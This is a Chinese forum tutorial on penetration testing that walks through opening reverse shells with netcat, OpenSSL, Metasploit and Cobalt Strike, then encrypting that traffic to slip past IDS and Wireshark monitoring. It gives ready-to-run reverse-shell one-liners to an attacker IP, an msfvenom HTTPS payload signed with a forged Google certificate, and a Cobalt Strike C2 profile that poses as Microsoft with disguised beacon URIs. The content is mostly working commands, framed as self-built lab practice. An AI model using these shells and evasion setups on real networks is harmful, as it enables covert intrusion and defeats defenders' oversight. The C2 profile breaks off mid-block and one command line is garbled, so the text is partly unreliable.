本帖最后由 zhaorong 于 2021-4-21 15:47 编辑
简介
渗透测试-地基篇
该篇章目的是重新牢固地基 加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维
的操作和方式方法 望大家能共同加油学到东西。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器 都是自行搭建的环境进行渗透的。
我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的 如果列出的技术用
于其他任何目标,本站及作者概不负责。
名言:
你对这行的兴趣 决定你在这行的成就!
前言
红队进行渗透测试的后续渗透阶段为了扩大战果 往往需要横行渗透 往往需要反弹 shell 如果反弹 shell 都
是明文传输那么内网里有IDS或者防护软件会进行流量进行分析 检测带有攻击特征很快被发现 如果蓝队对
攻击流量回溯分析 就可以复现攻击的过程。
那么蓝队发现红队的行为特征判断后 进行阻断红队行为 红队就无法进行渗透行为了...今天将介绍常
用的nc反弹shellMSF监听反弹shell Cobalt strike 4.0拿shell,三种方式如何进行流量加密 如何过
IDS或者防护软件分析设备和工具的。
此次利用wireshark抓包进行模拟流量分析设备进行演示!!
二、环境介绍
黑客(攻击者):
IP:192.168.175.145
系统:kali.2020.4
VPS服务器:
此次模拟环境将直接越过VPS平台钓鱼拿到对方的shell过程!!
办公区域:
系统:windwos 2019
IP:192.168.2.142
linux系统:kali.2020.4(模拟linux服务器)
IP:192.168.2.141
目前黑客通过kali系统进行攻击行为 发现漏洞后获得了linux和windows 2019两个办公区域系统的权限 使用了nc反弹
shellMSF生成的shell Cobalt Strike 4.0生成的shell进行反弹...获得了最终的控制权限 但是办公区域存在IDS等流量监
测设备 为了防止被监控 将演示三种不同方式拿反弹shell后如何流量加密不被IDS等流量监测设备发现!!
三、Nc正常拿shell
Nc瑞士军刀它也是一个功能强大的网络调试和探测工具能够建立需要的几乎所有类型
的网络连接支持linux和windows环境 红队喜爱工具之一....
这里演示NC正常拿shell情况下 如何被对方流量监控到的....
1,初步环境
该图可看到攻击者和被攻击者IP情况...
攻击者开启NC监听本地8888端口!
nc -vlp 8888
被攻击者端开启Wireshark进行流量实时监听分析!
2、拿shell监听
使用Wireshark对eth0进行流量抓包分析,被攻击端执行一句话shell命令:
bash -i>& /dev/tcp/192.168.175.145/8888 0>&1
攻击方利用nc 通过反弹shell方式获得了控制权限...
攻击者进行信息收集命令操作被攻击者Wireshark一直在监听着!!
3、流量分析
这边我们来到被攻击者主机上查看下抓包信息 选择TCP流信息...
可看到未加密的情况下 流量设备是可以查看到攻击者的行为记录的!!!
那么接下来将演示如何进行流量加密!!
四、OpenSSL流量加密
OpenSSL进行加密拿shell 和NC的性质是类似的 都是通过/bin/bash获得shell
接下来将用OpenSSL进行演示流量加密!!
1、OpenSSL证书
在kali上使用OpenSSL生成自签名证书:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
成功生成后 在桌面有两个pem加密文件key!!
2、成功提权
openssl s_server -quiet -key key.pem -cert cert.pem -port 8888 #开启监听
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect
192.168.175.145:8888 > /tmp/s; rm /tmp/s #反弹shell命令
成功通过Key加密获得了控制权限 并执行了相应的控制命令!!行为都被WireShark流量进行监控了!!
3、流量分析
通过TCP流查看到的信息都是乱码,经过了加密!
五、Metasploit流量加密
Metasploit在内网做横行渗透时 这些流量很容易就能被检测出来 所以做好流量加密就能
避免审计工具检测出来 开始演示!
1、创建 SSL/TLS 证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
这里模拟的是google的SSL证书信息!!可自行修改可信度高的证书!!
检查google的key生成情况,正常!!
2、生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.175.145 LPORT=443 Payload
UUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUID
Name=ParanoidStagedPSH -f psh-cmd -o dayu.bat
成功生成后门,可根据情况进行修改IP和端口!!
3、设置监听
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.175.145
set LPORT 443
set HandlerSSLCert /root/Desktop/www.google.com.pem
set StagerVerifySSLCert true
exploit
配置侦听器时还需要使用两个附加选项HandlerSSLCert和StagerVerifySSLCert。这是为了通知处理程
序它将使用的证书与有效负载相同并在接收到连接时执行SSL证书验证。
这里set HandlerSSLCert路径文件需填对!!
被攻击者成功访问到开启的HTTPS-SSL!!
查看伪造的SSL证书!!
4、成功控制
成功控制对方 并执行命令进行后渗透 在被攻击者流量工具分析上查看到流量已经经过了SSL加密
并查看TCP流中信息都是加密后的乱码信息....成功流量加密!!
六、Cobalt Strike 4.0流量加密
cobalt strike是很多红队的首选的攻击神器 在后渗透方面效果显著很好 导致很多IDS入侵检测工具和流量检测工具已经
可以拦截和发现 特别是流量方面 如果使用默认证书进行渗透和测试 特别在高度安全的环境下 好不容易找到一个突破口
因为证书没修改 被流量检测出来并进行拦截 检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之
前的攻击就会付诸东流 攻击计划就要重新制定。
接下来将演示如何CS进行流量加密!!
1、CS证书生成介绍
在运行cobalt strike默认使用的cobaltstrike.store证书 这里使用新的技术生成新的证书来逃避IDS检测!
2、证书生成
keytool -genkey -alias moonsec -keyalg RSA -validity 36500 -keystore dayu.store
利用keytool生成了一个证书具体的可进行修改!!
输入密钥库口令:
密钥库口令太短 - 至少必须为 6 个字符
输入密钥库口令:
再次输入新口令:
您的名字与姓氏是什么?
[Unknown]: dayu
您的组织单位名称是什么?
[Unknown]: Microsoft
您的组织名称是什么?
[Unknown]: Microsoft
您所在的城市或区域名称是什么?
[Unknown]: US
您所在的省/市/自治区名称是什么?
[Unknown]: US
该单位的双字母国家/地区代码是什么?
[Unknown]: en
CN=dayu, OU=Microsoft, O=Microsoft, L=US, ST=US, C=en是否正确?
[否]: y
需要输入密码、以及一些基本信息后成功生成dayu.store证书!!
3、创建C2-profile文件
这是cs内置工具用于控制cs流量 可以防止安全设备对流量特征进行监控和拦截!!
- set sample_name "dayu POS Malware";
- set sleeptime "5000"; # use a ~30s delay between callbacks
- set jitter "10"; # throw in a 10% jitter
- set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
- #设置证书,注意以下内容得和你之前生成的证书一样
- https-certificate {
- set CN "dayu";
- set O "Microsoft";
- set C "en";
- set L "US";
- set OU "Microsoft";
- set ST "US";
- set validity "365";
- }
- #设置,修改成你的证书名称和证书密码
- code-signer{
- set keystore "dayu.store";
- set password "dayu123";
- set alias "dayu";
- }
- #指定DNS beacon不用的时候指定到IP地址
- set dns_idle "8.8.4.4";
- #每个单独DNS请求前强制睡眠时间
- set dns_sleep "0";
- #通过DNS上载数据时主机名的最大长度[0-255]
- set maxdns "235";
- http-post {
- set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windo
- wsxp/updcheck.php /hello/flash.php";
- client {
- header "Accept" "text/plain";
- header "Accept-Language" "en-us";
- header "Accept-Encoding" "text/plain";
- header "Content-Type" "application/x-www-form-urltrytryd";
- id {
- netbios;
- parameter "id";
- }
- output {
- base64;
- prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
- print;
- }
- }
- server {
- output {
- print;
- }
- }
- }
- http-get {
- set uri "/updates";
- client {
- metadata {
- netbiosu;
- prepend "user=";
- header "Cookie";
- }
- }
- server {
- header "Content-Type" "text/plain";
- output {
- base64;
- print;
复制代码
创建dayu.profile文件 主要需要修改的是https-certificate和code-signer两处地方
对应keytool填写的信息即可!!!
利用CS的c2lint来验证dayu.profile是否成功生成和执行!!可看到是成功的!!
4、配置teamserver
teamserver默认端口是50050很容易被检测出来 我们将修改端口防止被检测出来...
vi teamserver进行配置 修改成40567端口!!
- ncode]ohup ./teamserver 192.168.175.145 11111 dayu.profile &[/code
复制代码
利用nohup运行teamserver 放在后台运行 避免shell关闭teamserver也关闭!!
5、开启Cobalt Strike
打开CS 端口和刚修改的teamserver配置一致!
进入后创建Linsten监听 选择HTTPS!!
可看到成功建立了HTTPS证书信息!!
6、成功控制
通过Cobalt strike生成的各种shell 在进行免杀!
被攻击者执行免杀shell后 攻击者成功控制系统 执行了相对应的命令后 在Wireshark查看到Tcp流信息
是经过加密传输的乱码形态!!成功加密!!
七、总结
通过OpenSSL keytool等方式进行证书生成 并利用证书等形式进行流量加密 能对如今非常流行的反弹
shell MSFCS工具进行使用 能更好的在后续渗透阶段扩大战果而不被发现阻断 放大还有很多 只是拿出
了几个典型的方法来演示给大家学习!!
希望大家提高安全意识=没有网络安全就没有国家安全!
今天基础牢固就到这里 虽然基础 但是必须牢记于心。 |